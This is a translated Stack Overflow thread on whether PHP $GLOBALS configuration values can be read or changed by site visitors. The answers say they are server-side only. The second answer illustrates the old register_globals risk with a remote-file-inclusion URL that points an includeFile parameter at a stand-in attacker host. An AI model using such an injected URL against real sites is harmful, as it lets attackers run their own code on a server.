我的应用程序中有一个settings.php页面,它使用$GLOBALS存储web应用程序中使用的配置。
例如,他是我使用的示例设置变量:
$GLOBALS["new_login_page"] = 1;
$GLOBALS["secret_cross_check_token"] = 3243242342423;然后,我在其他页面上调用这些全局函数(因此我使用$GLOBALS)来执行任务,例如,如果用户将全局切换到1,就给他们一个新的功能。
问题是:
这对我来说真的很好,我不希望使用数据库来存储它们,不过最近我开始思考,$GLOBALS安全吗?用户可以读取或操作它们吗?如果是,解决办法是什么?
我知道这是服务器端,但我只是怀疑用户是否可以以某种方式访问$GLOBALS。
发布于 2015-07-25 09:26:26
全局变量只能访问服务器端,您可以安全地使用它们。
如果用户可以访问您的globals变量,这是因为他获得了在您的服务器中执行代码的权限,因此,在本例中,他可以做的事情比读取您的全局变量多得多。
如果用户能够在您的服务器中执行代码,他将能够很容易地复制您的所有文件和数据库,因此访问全局变量不会成为主要问题。
发布于 2015-07-25 09:37:44
$GLOBALS是完全安全的全局变量。http://php.net/manual/en/reserved.variables.globals.php
用户没有访问它的权限。
“安全性”是关于register_globals指令的。但它从php中删除了。http://php.net/manual/en/security.globals.php
重点是,例如,我忘记将一些$includeFile定义为'inc.php',而我正在做include $includeFile;,有人可以直接去http://mysite.ru/script.php?includeFile=http://hackersite.ru/script.php并包含他自己的文件。
不是很好的例子,而是一些“接近”的东西。
但是它不是关于$GLOBALS的,所以你不应该担心那里的安全。
英语很抱歉。
https://stackoverflow.com/questions/31624949
复制相似问题